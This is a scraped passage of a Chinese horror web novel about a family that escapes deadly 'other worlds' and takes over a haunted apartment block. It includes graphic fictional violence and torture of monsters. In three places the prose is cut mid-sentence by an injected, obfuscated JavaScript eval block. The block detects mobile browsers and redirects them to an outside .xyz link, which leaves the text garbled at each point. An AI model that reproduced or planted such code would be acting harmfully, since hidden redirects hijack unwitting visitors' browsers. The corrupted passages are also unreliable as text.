突然,那只始终指向9号门的手,终于“唰”一下,弹向相反方向。 安月素抬眼,大声喊道:[3号门!] 两人一起狂奔向三号门。 倒计时9秒,8秒…… 这个时候,那些一动不动的小摊贩突然一窝蜂涌上来。 安月素善用暗器,那些小摊贩还没等近两人的身就已经几个一组接连倒下。 到了门前,看到倒计时还剩4秒。 安月素又转身,掷出三把飞刀,之后才在最后一秒时和楚雄一起迈进门内。 几乎就在她们脚后跟离开的瞬间,3号门“嘭”地一下紧紧关上,门两旁的灯笼骤熄灭。 门内世界,仰躺在地上的三个摊贩上半身瞬间红了一大片,胸前浮起一个大包。 那几个,正是从他们身上挖掉肉的摊贩。 4. 第三个异世界 如果有一天,你一睁开眼睛,迎面对上两张脸。 那是两张挤着两副五官的,爸妈的脸。 眼睛旁边还长着一只眼睛。 鼻子旁边紧挨着一只鼻子。 嘴巴旁边还有一张嘴巴。 耳朵也是上下排列的。 他们还低头冲你诡笑…… 你会怎么做? * 楚暴闭了闭眼,再睁开……鬼东西还在。 再闭眼,再睁开……可以,还不走。 并且这次,四张嘴齐齐冲他笑了笑。 楚暴没再闭眼,睁着眼睛和它们对视。 看到他这样,“爸妈”之间交流了一轮眼神。 然后“妈妈”低头问他:“小暴,你怎么还不起来啊?太阳晒屁股了!” 呵!外面这天红成这样,还有个鬼的太阳? 哦对,确实有个鬼太阳。 “马上!”楚暴心里冷笑,声音没什么情绪,手悄悄摸进枕头里,摸出一把匕首。 这是一把经过他老妈精心改良过的短刀,穿刺性能极好,刺进皮肉就像刺向空气一样简单。 “爸爸”:“别光答应,快点儿动弹啊。” 楚暴“哦”了一声,右手迅速从被窝里抽出,快得连残影都看不到。 一道白光闪过,头上的八只眼睛瞬间被划爆。 接着又是一道白光闪过。 两“人”的脖子上分别多出了一道深可见骨的伤口。 在血液喷溅之前,楚暴已经快速逃离了两人身下。 他双脚反勾床尾,腰腹用力,像蛇一样从床尾溜下去,站到地上。 身后响起“咚咚”两声。 他回头看,这两“人”已经面朝下重叠着倒在床上,鲜血顿时散开一大片。 楚暴收起匕首,几步踏出房间。 * 他的房间是客房,就在一进家门的左手边。 走出房间后,他突然在门口站定,奇怪地看向右边的入户门。 门上竟然贴着三张大大的艺术照。 上面分别是两副五官的假爸妈和两副五官的假姐。 看来这屋子里还有个假姐。 楚暴心里这么想着,转身朝里走,直奔他姐所在的主卧。 因为主卧带卫生间,所以是自然而然归了他姐。 次卧是爸妈住。 还好,家人心疼他,给他留了个客房。 * 门是关着的。 楚暴没敲门,直接拧开把手。 门一开,眼前就出现一个企图上吊的身影。 熟悉的身影让他下意识想上前阻止。 不过很快他反应过来,停下了脚步。 虽然背影看上去很像,但这绝对不是他姐。 安凉就算要自杀,也绝对不会选择上吊的方式。 吊死的人太丑,舌头会伸出来,无法保持面瘫脸——他姐那种人,死都要装酷。 楚暴捏着匕首,绕到这个人的正面。 不出意料,这是一张和他姐一模一样,却有着两套五官的脸。 这位假姐脚踩着凳子,脑袋放在悬挂的绳圈里,双手握着脸两侧的绳子,见到楚暴,突然大喊:“我要死!我要死!” 楚暴看了她一会儿,见她一个劲儿只知道喊,也没什么实际动作,干脆帮了她一把,一脚踢飞她身下的凳子,抓着她的腿狠狠往下拽。 见她彻底没了气,楚暴满意地拍拍手——不错不错,今日又行一善! 做完这一切,他准备到别的地方看看。 就在这时,屋子里突然响起奇怪的声音,面前同时冒出来一个个字挡住了他的去路。 这鬼地方又在搞什么名堂? “您现在身处异世界中,请在十分钟内尽快找到回到原本世界的通道。” 楚暴闭上眼睛,仔细听着声音来源——像是来自四面八方,怎么也听出具体的声源。 楚暴失望地睁开眼睛。 如果他姐在这里就好了,他姐耳朵好使,一定能揪出来背后说话的人。 然后将这人狠揍一顿。 这个人竟然模仿他的音色! 关键还模仿得不像,像个AI一样,冷冰冰的,连半分他阳光少年的气质都没有…… “现发布警告——” “警告一:只有在心中确定了正确的‘钥匙’,‘门’才会出现。” “警告二:确定‘钥匙’的机会只有一次,确定错误,‘门’将永远消失。” “警告三:异世界中的每个‘人’都希望你留下,没有人想要帮你逃离。” “倒计时十分钟,9分59秒……” 楚暴走过去推开窗户。 外面一片白雾,看样子没办法出去。 他又走出房间,越过客厅,打开入户门。 和窗外一样,两三步之外依然是一片雾蒙蒙。 他转身想回屋,却突然停住脚步。 就在他走出来时,门前空空荡荡的,什么东西都没有。 可就一个转身的功夫,他眼睁睁地看到脚前几步的地方多出来一只小猫尸体。 他蹲下身查看小猫。 看起来是刚刚断气的,身上还热乎着,似乎是被人捏着脖子窒息而死,之后又狠狠砸到地上。 想要杀死它的人不想让它叫出声,又觉得让它这么简单死了不足以泄愤,连着摔了好几下。 楚暴将睡裤撕下一角,盖到小猫的尸体上。 不错,日行二善了! 空中显示的倒计时还有8分钟。 他又回到房子里搜索一圈,但是一只新鬼都没见到。 在客厅中站定,思索几秒,然后他转身走进爸妈房间,翻箱倒柜一番,很快找到一个木盒子,打开看一眼后,带着盒子重新回到自己的房间。 鬼爸妈还维持着刚才的姿势重叠在一起。 他走上前,将这两个鬼东西一左一右扛起来,搬到了客厅。 之后,假姐也被他扛到过来。 一家三口排排坐,挨在一起。 楚暴站在他们面前,手上捏着从木盒中掏出的几根银针。 楚家有一套独门功夫,只要用针扎到几个特定穴位上,能让一个只剩一口气的人再接着喘至少十分钟的气。 在这种状态下,他们能说话,能交流,就是不能动。 楚暴笑着弯下腰,手起针落。 * 假姐“啪”一下睁开眼睛。 像是机器被重新启动一样,她连重新加载的时间都不用,立马接上了上一次关机时的情景。 嘴巴张开,兴奋大叫:“要死啦!要死啦!” 太吵了! 楚暴皱着眉头,忍住捅一刀的冲动,转头看另两个“人”。 其他两个倒是还好,各顶着四个大黑窟窿,四张嘴巴大张着喘气。 只是他们脖子上的气管漏气,呼哧呼哧地像拉风箱,看起来十分痛苦。 楚暴拖过椅子,坐到这三个不明生物对面。 “钥匙是什么?”楚暴亮着匕首问他们。 假姐的呐喊声停顿了一下,接着更大声地喊着:“我要死!我要死!”。 楚暴终于忍无可忍,找出昨晚脱下的袜子,一左一右分别塞进她的两张嘴里。 虽然还是阻止不了这个疯子叫唤,但至少不会耳朵疼了! 楚暴决定先从鬼爸妈入手,于是挪了挪凳子。 “钥匙在哪儿?” 楚暴又问一遍,一下下地用刀背拍着手心。 刀上反射的光芒让两个妖怪忍不住跟着一抖又一抖。 它们艰难转头对视一眼,但还是呼哧呼哧地不说话。 楚暴有些不耐烦。 不过下一秒他反应过来,鬼爸妈的气管被他切了,这要他们怎么说话? 唉,竟然犯了这么低级的错误! 楚暴叹口气,回身准备找个东西给他们堵上。 他不是医生,也不知道堵上管不管用。 要不然找一下纸笔?这俩应该会写字吧。 楚暴正琢磨着,身后突然响起假妈的声音:“小暴,留下来不好吗?妈妈好爱你,妈妈今天还特意起早给你做了早餐。” 楚暴震惊地转过身。 这家伙脖子上的窟窿依然大敞着,还在呼哧呼哧个不停,但确实能发出声音。 见伤口没愈合,楚暴放下了心。 能说话这一点倒没让他多惊奇。 毕竟这俩鬼东西又不是什么正常人,发生点儿不正常的事也算正常。 “妈妈”用她那四个黑窟窿眼睛准确无误地看向楚暴。 楚暴随手掏出四颗大棉球全部堵上。 “我留下来是不可能的,但你要是赶紧告诉我钥匙是什么,我还能留下你们的命,让你们继续留在这儿。” 威胁显然不会起效。 “妈妈”还是摇头:“我不知道。” 楚暴无奈,又把假爸的四个窟窿堵上:“那你来说。” 假爸叹气:“小暴,爸爸妈妈真的很喜欢你,你就留下来吧。” 假爸话还没说完,就感觉头上的银针被动了下。 楚暴捏着两人头上的针,凑近他们道:“我可提醒你们,这根针一拔出来,你们一定会死,这次是真死。” 两“人”听到死字,浑身颤抖起来。 “爸爸”没说话。 “妈妈”则是颤着声道:“我们不会告诉你的,留下来吧,留下来吧。” 鬼才留下来! 楚暴双手微动,慢慢将两根银针往外拔。 这两“人”看起来没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977580|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了,还不如先杀了清净。 但就在银针刚撤出几毫米时,楚暴突然停下。 假爸假妈皆愣了愣,好像在问怎么停下来了? 楚暴视线转向捏着银针的手,又低头看了看那四张随着银针抽离,弧度越来越夸张的嘴…… 他果断松开手。 这俩鬼东西一要被杀掉竟然笑得如此奸诈。 看来不能杀,得先留着。 虽然不杀了,但楚暴也不想让他们痛快。 他又拿出两根银针分别扎在他们右侧太阳穴的位置。 很多人不知道,在这个穴位上搭配特定的手法能让人生不如死。 银针刚扎上还没那么快起效,楚暴转头对上一直叫唤的假姐。 他没有第一时间将袜子拿下来,而是托着下巴思考起来:这个假姐也过于奇怪了,一直要死要死的,这会不会就是有关钥匙的线索? 既然这个世界给了他逃走的可能,那就应该也会给他提供线索。 楚暴伸手拿下那两双袜子,看到上面沾满了口水,嫌弃地扔到了一边。 “为什么我还没死?!我要死!我要死!” 楚暴一改阴狠的样子,像个邻家小弟弟一样贴心开导:“你为什么这么想死啊?” 这时候,另外两人的银针起效,恐怖凄惨地嚎叫出声。 声音太过痛苦,把假姐刚想尖叫的嘴吓得闭了回去。 楚暴也暂时停下审问假姐,好心给另外两个解释银针的作用,接着威胁道:“告诉我钥匙是什么,我立刻就把针拔下来,毕竟我也不是变态,不想这么折磨人。” “楚暴!你这么对你爸!你会遭报应的!”“爸爸”恶狠狠地诅咒他。 “妈妈”哼哼唧唧,看起来连叫出声的力气都没有了,更别说骂人了。 空中的倒计时只剩下4分钟。 楚暴没了和他废话的闲心,又问急切寻死的假姐:“你为什么这么想死啊?” 假姐看了看他,像是不太情愿一样,小声嘟囔道:“因为我是活的,所以我就是要死。” 假姐声音很小,给楚暴一种:她特别不想说这句话,但又不得不说的感觉。 楚暴陷入思考—— 警告中提示过他,这些“人”都不想他,但没说不会帮他。 所以刚才那句话很可能是一条能够帮助他逃离的线索。 这位假姐不想说,但可能受到某些限制,在他提问后不得不说。 这句话有什么线索呢? 他在心里一遍遍地重复着。 是活的,所以就是要死……是活的,所以就是要死…… 念了几遍,楚暴突然眼睛一亮。 读多了他陡然发觉,“要死”的谐音不就是“钥匙”吗?! 难道钥匙就是假姐? 他蹲到假姐面前,问道:“钥匙就是你吧?” 说这话的时候,楚暴看似面对着假姐,其实在不动声色地观察着另外两“人”的表情。 没想到,原本生不如死的两人在听到他说的话后,四张嘴竟然同时露出不同程度的笑容。 楚暴顿时明白了,他猜错了。 时间不多了。 楚暴大脑飞速运转着,之后扔下这三人,在房子里转了一圈。 最后,他停在艺术照上不动了。 很奇怪,艺术照上的字和照片上的五官一样——是双份的。 楚暴又有了猜测。 这个世界的字是双份的,会不会“钥匙”作为答案也要按照这个规则来看? 不是“钥匙”。 而是“钥匙钥匙”? 于是他走回去,先是问假姐:“你为什么要死要死?” 假姐像是受了什么惊吓,猛地抬头看他。 楚暴笑了笑,知道自己很可能猜对了。 假姐摇头,慢慢地小声道:“我不是要死要死!” 楚暴转身问假爸妈:“你们谁是要死要死?” 在楚暴问第一句时,他们就已经吓傻了,在听到这句话,更是一下子泄了气。 假爸吞吞吐吐,终于不情愿道:“我是要死要死!” 楚暴眼睛一亮。 他没有轻举妄动,想到之前这俩人要被杀时的笑容,和假姐那句“因为我是活的,所以我是要死。” 他又接着问:“你为什么是要死要死?” 假爸更加震惊地看着他,最后破罐子破摔,大声道:“因为我是活的,所以我就是要死要死!” 楚暴当即在心中确认:“活着的爸爸是钥匙”。 下一秒,贴着三张艺术照的入户门猛然闪烁出光芒,变成一扇光门。 楚暴扯着假爸的头发,在其他两“人”愤怒的叫喊声中,托着它慢悠悠地走进去。 倒计时瞬间停止,定格在00:04秒。 5. 2单元一楼(1) 三个异世界的光门汇聚到同一个空间。 四人悬浮在半空中。 家人见家人,两眼泪汪汪…… 但相认只有一秒,下一刻,他们的身体瞬间失重坠落,“啪”地一下同时掉进一片池子里。 在池子里睁开眼,感受着周身液体的粘稠触感和味道,他们才确定这是一片血池。 但奇怪的是,充斥鼻尖的血腥味并不像身处异世界时让他们恐惧反感。 这片血池反而给他们一种安心的感觉。 往上游…… 四人脑海里无来由地冒出这样一个念头,。 他们在血水中对视一眼,之后齐齐向上游去。 “啪!” 四张脸同一时刻撞出水面。 像是有一道血幕从上至下覆盖眼球,为他们的世界合上幕布。 再睁眼时,他们已经站在了自家小区铁门前。 铁门很旧,右侧竖着一个大牌匾,上面写着——曼陀罗小区。 曼陀罗小区约4000平。 说是小区,其实,不过是一个只有一栋步梯居民楼、两片树林、和一个看门房的大院子。 居民楼有两层,坐落在小区中央,分为两个单元,每个单元只有一楼和二楼两户人家。 楼的前后各有两片小树林,里面设有一些健身器材和长椅之类的休息区。 进入小区大门的左手边,和前院儿树林紧挨着的,是一个200多平的平房,像是看大门的休息室,其实里面住的正是曼陀罗小区的房东。 也就是刚从异世界逃命回来的四个人。 此时,他们就站在自家小区的门前。 现在是9月份,才五点多钟天就彻底亮了。 旁边早餐店传出肉包子的香味儿,此起彼伏的鸟叫声从前后院的树林中传来,周围的市井声让人格外心安。 他们似乎是真的回到了现实世界。 路上的行人还少,空气还有些湿漉漉。 安月素问姐弟俩人:“你们也去了那个鬼街市?” 楚暴疑惑:“什么鬼街市?” 接下来,几个人快速交换信息。 楚暴哼一声:“我就知道天上没有白掉的馅饼,这破事儿肯定是老头子搞的!” 老头子,也就是他爷爷楚龙先生,三年前因为肝癌去世。 但在一个月前,姐弟俩大学毕业的时候,他的律师却突然找上了门。 从律师口中得知,老头子在一个叫做焦街县的小县城给他们全家买下了一整个小区。 虽然是个老小区,但因为地段好,不仅房子全部租满,租金也十分可观。 没想到有生之年能贪上这种好事! 姐弟俩连商量都没有,当即就接下了这个大馅饼,满怀热情地准备投身于包租公婆的事业中。 但老头子有一个条件—— 这栋楼由他们一家四口共同拥有,所以也必须要由他们一起承担房东的责任。 也就是一家四口必须一起回来住在楼前的这个小平房里,看守着小区,不然就会失去继承资格。 安月素和楚雄一直在外开武馆,事业红火,对老头子的遗产没什么兴趣,但因为他们从小就和姐弟俩聚少离多,听说这件事后,也乐得答应下来,正好和儿女们培养感情。 他们从没听说过老头子买下过什么小区,不过老头子生前就总抱怨孙子孙女活得像孤儿。 想来他做下这一切,也是为了让他们一家能够聚在一起。 安月素和楚雄先是飞到姐弟俩的大学,参加完他们的毕业典礼。 典礼一结束,他们就立即动身,昨天下午才到——没想到今天早上就发生了这么奇怪的事。 楚暴转头问他姐:“姐,你怎么看?” 安凉面无表情,摇头:“耗子钻进乱麻堆——没有头绪。” 一家人你一言我一语地聊了好一会儿。 突然,楚暴惊讶道:“咦?我爸呢?” 好像从刚才开始,就一直没听到他说话了。 在刚经历诡异世界的情况下,一人失踪显然让人忍不住多想。 安凉皱起眉,刚想说分头找,就听安月素道:“稍安勿躁。” 她说完,就走进小区,直奔家门。 姐弟俩跟在她身后。 房门一开,呼噜声清晰地传出来。 安月素走进去,坐到楚雄旁边的单人沙发上,抱胸冷笑:“呵,一猜就是。” “呼——呼——” 姐弟俩:“……” * 异世界的事情没有困扰姐弟俩,他们也没兴趣知道缘由。 很快,两人就换上练功服,直接到小树林里练功去了。 练完往回走时,安凉打算到早餐店买肉包子。 楚暴突然拽住她:“诶?姐。” 安凉疑惑地看着他:“?” 楚暴冲她笑了笑,叉着腰,神气道:“本包租公要进我的大楼里看看,你要不要一起?” 安凉冰着一张脸,眼神嫌弃地从上到下扫视一整遍,最终点头:“要。” * 楼里已经被租户租满,所以他们没办法进屋子里,只能在楼道里爬上爬下。 仅仅只有两层,他们就已经兴奋不已。 转完1单元的两层楼后,他们仍觉得意犹未尽,于是打算再爬一爬2单元。 楚暴走在安凉前面,刚要进入单元门时,一个外卖员突然从里面冲出来。 若不是楚暴反应敏捷,两人铁定会撞上。 “不好意思不好意思。”外卖员慌张地道歉,“您没事吧。” 楚暴摆摆手:“没事,没撞到我。不过兄弟,你下次注意点儿,我是这里的房东,你可千万别撞到我的宝贝房客们。” “房东?”外卖员愣了一下,看了姐弟俩几眼,突然惊呼道:“啊!我想起来了,半年前签合同的时候我见过您和您姐姐,你们可能不记得了,我就是这里的房客,就住在这家,2单元一楼这户!” “签合同?” “是啊!”外卖员点头。 这时,他的手机响了一下,他连忙道:“不好意思,我急着送外卖,先走了。” 外卖员急匆匆地往外走,路过安凉时礼貌地点了下头。 两人身形交错的一刹那,安凉猛地一顿。 她抬头环视一圈,最后看向外卖员,若有所思地望着他的背影。 楚暴挠着头凑过去:“姐,你是不是也奇怪他说的签合同的事?” 安凉摇头:“不是。” 她看了眼天空,没了继续爬楼梯的心情:“回家。” 楚暴惊讶地看着离开的安凉,又回头看了眼楼道内,最后惋惜地叹口气,跟在姐姐屁股后回家。 * 楚雄已经醒了,他和安月素正坐在沙发上,面前茶几上散落着几份文件,二人表情严肃地翻看着。 姐弟俩一走进来就闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977581|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一股诱人的香味儿。 楚暴顺着味儿跑过去。 惊喜地发现,餐桌上正摆着安凉想买却没买成的肉包子。 他塞一个进嘴里,口齿不清地招呼安凉:“姐!快来吃!好香!” 安凉却没动,朝几人严肃道:“刚才有个人不对劲。” 夫妻俩顿时抬头看他。 楚暴的嘴巴被包子撑满,闻言,也眨着眼睛等着姐姐说话。 安凉继续道:“那个人身上有一股危险的气息,路过我的一瞬间,我感觉到这个世界突然和另一个世界做了短暂交换,那个世界给我的感觉和他身上的气息很像。” 世界交换的过程很快,像是连接不稳的电路闪动一下,仅仅在错肩的一刹那,整个世界突然完成了一来回的交换,又迅速回归正常。 若不是她五感天生敏锐,几乎捕捉不到这瞬息之间的异样。 楚暴咽下包子,坐到椅子上慢悠悠道:“不会这个见鬼的异世界游戏又要来了吧,爷爷到底给咱们准备了多少惊喜?” 安月素没接话,而是拿起几张合同文件递给他们:“你们看看这个。” 楚暴接过来,和安凉一起看。 “租房合同?这上面还真的是我的签名啊!姐,你看,这个签名也像你亲笔写出来的一样!” 安凉点点头,这个签名无论从哪一方面看,都和她的字迹分毫不差。 但她确定,她从没签过这个合同。 楚暴惊呼道:“对了,刚才那个男的,也就是我姐说的危险人物,他说半年前签合同时候看过我和我姐!” 这完全就是不可能的事情啊! 当时的户主还是“楚龙”,他们怎么可能来签出租合同?不会有人傻到谁来都签字吧。 楚雄抱起胸,向后靠到沙发背上,无可奈何道:“不知道老头子到底搞了什么鬼,但这一切确实很不对劲。” 楚雄话音刚落,四周突然发生变化。 几人刚察觉到不对,就立即站起来,背靠背围成一圈。 窗外骤然一片漆黑,鸟叫声戛然而止,整个屋子亮起红光,视线所及之处全都渗出血珠,汇聚成一条条血河往下流。 四人戒备地注意着四周情况。 安月素安慰他们:“还好,这次我们都在一起。” 楚暴倒不介意别的,他只是看着那盘“血包子”,咬牙切齿:“好!好!异世界不吃包子是吧!” “啪啪啪”的声音响起,空中又开始打出一排排红字。 【恭喜清理家庭所有成员通过异世界测试,接下来发布主线任务—— 曼陀罗小区里一共住着4户人家,每一扇家门内都隐藏着一个绝不可以被其他人知道的秘密。 随着这些秘密的发酵,四天之内,必会诞生一个凶手,和一具尸体。 接下来的16天内,这栋居民楼里的租户即将随机被异世界病毒感染。 凶手会异变为孵化恶鬼的容器,尸体一旦形成,恶鬼开始孵化。 恶鬼孵化成功,异世界大门随之开启。 到那时——地狱降临,人间不复。 为了保障租户安全,请能干的房东们在第四天的中午12点之前找到那个不为人知的秘密,击退恶鬼。 提示:将恶鬼刀插入凶手心脏,在凶手讲述真相,既能击退恶鬼。 第一个感染家庭已经出现,计时开始,各位房东们加油! 警告:切勿在击退恶鬼前报警。】 6. 2单元101(2) 《第一天》 红字很久才消失。 就在字消失的那一瞬间,世界一下子恢复正常,血腥消退,阳光涌入。 几人面面相觑一会儿,然后围坐到餐桌上。 楚暴死死盯着那几个白乎乎的肉包子,犹豫要不要下嘴。 他还尚在思索,楚雄和安凉一人拿起一只,直接塞进了嘴里,还吃得津津有味。 楚暴:“……” 要不要告诉他们……这玩意儿变过身? 他又陷进了另一番思索。 楚雄惊叹:“味道还真不错。” 安凉嚼着包子猛点头。 楚暴张张嘴,又合上,不知道该说什么。 坐在旁边的安月素则头疼得很——这三人的心真是一个比一个大。 她特意没开口,在这里等着,没想到话题直接转到包子去了。 看来这气氛是怎么也紧张不起来了,她干脆主动提起话头。 想了想,她问楚雄:“你说,这事儿是咱爸弄的吗?” “哼!”楚雄一声冷笑,“除了他,还有谁这么不无聊!” 安月素愣了一下,点头:“说的也是,确实挺有意思的。” 她端起水杯,凑近嘴巴,借抿水的动作掩饰翘起来的嘴角。 儿时拯救世界的愿望,竟然……要实现了吗?! 好激动!好激动! “刺!激!” 安月素僵了一下,差点儿以为是自己把心里话说了出来。 还好,她很快反应过来这是楚暴那小子在喊。 她放下水杯,训斥道:“严肃点,这可是件大事,不是儿戏!” 他本以为这小子还得再教育两句才能知道事情的严重性。 谁知楚暴比她更认真地点了点头:“没错!这不是儿戏!” 说完,他转头看向右侧的冰箱,上面刚好能反射出他的样子。 他边看着自己边自豪道:“所以才需要我这种级别的超级英雄来拯救!” 安月素:“……” 她无语地看向楚雄。 你儿子中二病还没好呐!她刚想说这句话,就见这家伙突然伸出右手,从额头抹到后脑勺,笑道:“看来我的英雄血脉还是被他们发现了!能力越大!责任越大!拯救世界!义不容辞!” 安月素:“……” 一群油腻男,看来这家里也就她和小凉清爽点儿了。 两颊塞满包子的安凉没法说话,但她超大声地附和楚雄:“嗯!” 安月素:“……” 她扶额打断三人的热血时刻:“英雄们,既然大家都没什么意见,我们就要开始找出来第一个感染家庭了!” 安凉三两下咽完嘴里的包子,举手道:“2单元101!” 楚暴打了个响指:“没错!就是他。” 楚雄看了看二人:“是不是小凉刚才说的那个不对劲的人。” “嗯。”安凉表情严肃,“那男人身上有异世界的气息。” 当时,她清晰地感觉到整个世界在一瞬间和异世界做了一次调换。 现在综合新信息再回想起来——那个男人应该就是第一个感染家庭中的人。 楚暴乐道:“这下子好办了!之后每次都让我姐去闻一闻,不就能知道谁家被感染啦!” 安月素皱眉:虽然事实是这样,但这不是把小凉当警犬用吗? 她正要开口训一训口无遮拦的楚暴。 就听安凉道:“二更梆打了两下——没错。” 安月素:闺女,语气这么骄傲是怎么回事? “叮咚——” 就在这时,门铃突然响了一下。 四人:“?” 楚暴微妙道:“谁会来敲门?” 安月素抿抿唇,吩咐楚雄:“你去看一下。” 楚雄站起身,慢慢走到猫眼处往外看,并没看到人。 他维持着眼睛怼在猫眼上的姿势,没有回头,用气音说道:“门外没有人——” “叮咚~” 他话音还未落,门铃紧跟着就又响了起来,就像是在回应他的那句——门外没有人。 寒意瞬间袭满全身,楚雄转头,告知三人:“门铃前面什么都没有……” 众人汗毛都竖起来了。 没有人,那是谁在按门铃? 这种情况简直比直接看到鬼还瘆人。 安月素当机立断:“不管它,不开门。” 楚暴伸过脑袋赞同:“没错!它既然按门铃,说明没有我们的允许它进不来。我们就不开门!看看它能怎么办!” 门内门外就这么僵持了片刻。 好一会儿,门铃声逐渐变成每隔三秒响一下,不急不慢,像是在提醒四人——我来了。 四人站在门前不动。 门铃声“气定神闲”地响了一会儿,陡然停住。 楚暴笑:“果然——” 话还没说完,铃声突然炸耳般再次响起。 是真的炸耳! 急促,尖锐,像个疯子在外面叫嚣着:快让我进来! 这下更不能开门了! 四人站到离门远一些的位置,眼见门被撞得哐哐响也不为所动。 疯狂的门铃声又一下子停住了。 四人挑眉:这是彻底没办法了? 下一秒,眼前一阵天旋地转,等他们反应过来时,身体已经站到了门外。 他们不可置信地看着彼此,又抬头看了看头顶的蓝天白云。 竟然还能这样?! 没办法开门进屋,就把人挪出来? 几人站在原地,以不变应万变。 结果等了好几分钟,对方什么变都没有。 “不是,这妖怪怎么回事?把咱们叫出来也不露面?” 楚暴说着,往前走了一步,脚下猛地被绊了一脚。 他低头一看,顿时瞪大眼睛,捡起地上的东西,惊讶道:“这……不是爷爷的爱刀吗?!” *** 门外除了一把刀什么都没有,几人干脆拎刀进屋。 四人将刀放到餐桌上,再次围坐起来。 这把刀是楚雄的父亲楚龙从儿时就不离手的一把折叠小刀。 折叠起来的刀身只有普通成人的半个手掌大小,铁质银色刀鞘上刻着一个大肚子圆眼睛的卡通龙形象,靠近龙眼睛的地方有一个月牙形的小铁片,使劲一掰就能弹出刀身。 楚龙用了一辈子,刀虽被人保护得很好,但因为年代久远,再加上使用过于频繁,刀身看起来有些旧。 但现在,它的刀刃却很锋利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977582|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是刚刚磨过一样。 几人全都一言难尽地盯着桌子上的小刀。 这把刀他们再熟悉不过。 只要是认识楚龙的人,就一定知道这把刀。 此刀在楚龙那里应用甚广,不仅可以打架,还可以切水果,甚至楚龙还拿它剔过脚皮…… 楚雄每次看到这把刀都会想起小时候的一件往事—— 当时楚雄只有十岁,上小学三年级。 正值夏季,楚龙每天从武馆回来都会买一个西瓜,楚雄则每天放学就会坐到院子里的小板凳上,接过父亲给他切好的西瓜大快朵颐。 直到有一天,探亲结束的母亲突然回家。 当时,豆丁大的楚雄正兴高采烈地从父亲手里接过西瓜,耳边猛然一阵怒吼:“楚龙!丧天良的!你又用你那把破刀给儿子切水果!” 楚雄瞳孔一颤,立刻攥紧手中的小西瓜块,转头,唰唰唰地埋头啃。 身后,父母又开始吵了起来。 “说了多少遍!别用那把刮过脚的刀给儿子切水果吃!” “我也说了多少遍了!每次用完我都消毒了!” 小楚雄没管身后的争吵,几下吃完手中的西瓜后,又转头,趁着两人看不见他,悄悄拿起遗落在桌上的小刀又给自己切了好几块…… 趁着两人顾不上他,再转头接着啃。 小时候的楚雄不明白妈妈为什么发那么大的火。 他觉得爸爸说得没错,每次刮完脚后他都会消毒,所以刀是干净的,不会有让他生病的细菌。 小时候的楚雄只要吃到瓜就会开心,但是长大后的楚雄再回想起这些往事——不光是切西瓜,还有那些苹果,桃子,梨…… 他默默移开视线——每次想起来依然觉得无法承受…… 安月素问楚雄:“这把刀,不是和爸一起下葬了吗?难道你没放进去?” 楚雄像被抽好了力气:“我怎么敢?这把刀比他亲儿子还亲,不给他摆进去,我都怕他诈尸起来揍我!” 这就怪了!应该在棺材里的刀,怎么会出现在他们面前? 在仔细观察刀身的安凉突然提醒道:“你们看,刀身上有小字!” 几人凑近一看,原来空白一片的地方此时刻着三个字——恶鬼刀。 楚雄挠挠头:“算了,自从咱们来到这里,奇怪的事情发生的还少吗,现在老头子给我发微信说他诈骨灰了我都信。” “叮咚~” 摆在他右手边的手机顿时吸引了所有人的视线。 楚雄身形僵硬一瞬,颤抖地拿起手机,又颤抖地看了一眼,然后长吁一口气:“放心放心,不是,看来他老人家还好好地当灰呢……” 四人劫后余生地继续吃东西。 安月素:“我们边吃边商量一下,要怎么调查那个2单元101。” 楚暴提议:“咱们什么信息渠道也没有,怎么着也得先和他们认识上。” 安月素赞同:“不过得先找个理由。” 楚雄突然将手机上刚来的信息摆到几人面前:“你们看这个理由怎么样?” 三人伸着脑袋看了看。 安月素惊喜:“这也太及时了吧。” 楚暴想了想,说道:“这就像游戏一样,我们才刚开始玩,总要给我们简单模式!” 7. 2单元101 (3) 楚暴吃完饭,就坐到窗边吃零食,目不转睛地望着窗外。 当看到那个外卖员空着手走进2号单元门时,他赶紧伸手招呼身后。 “快!那个人回家了!” * 上午11点半。 “砰砰砰” 安凉敲响了101的房门。 她明明清楚地听到了细微的脚步声很快就在门后响起,但等了好一会儿,门才被打开一条缝。 “安小姐?您有什么事吗?” 旁边的安月素凑过头道:“您好,我是安凉的妈妈,我也是这里的房东,不知道您还记不记得我?” 赵白看着安月素愣了一下,然后点点头:“记得,当时签合同的时候你们全家都在,还有您先生。” 安月素笑了笑:“是这样,我先生接到了1单元102的投诉,说您家里白天总有敲墙声,打扰他休息了,您方便我们进去看看吗?” 安月素敏锐地注意到,赵白在听到撞墙声时脸色明显慌乱了一下,随后眼神里涌现出一瞬间的愤怒。 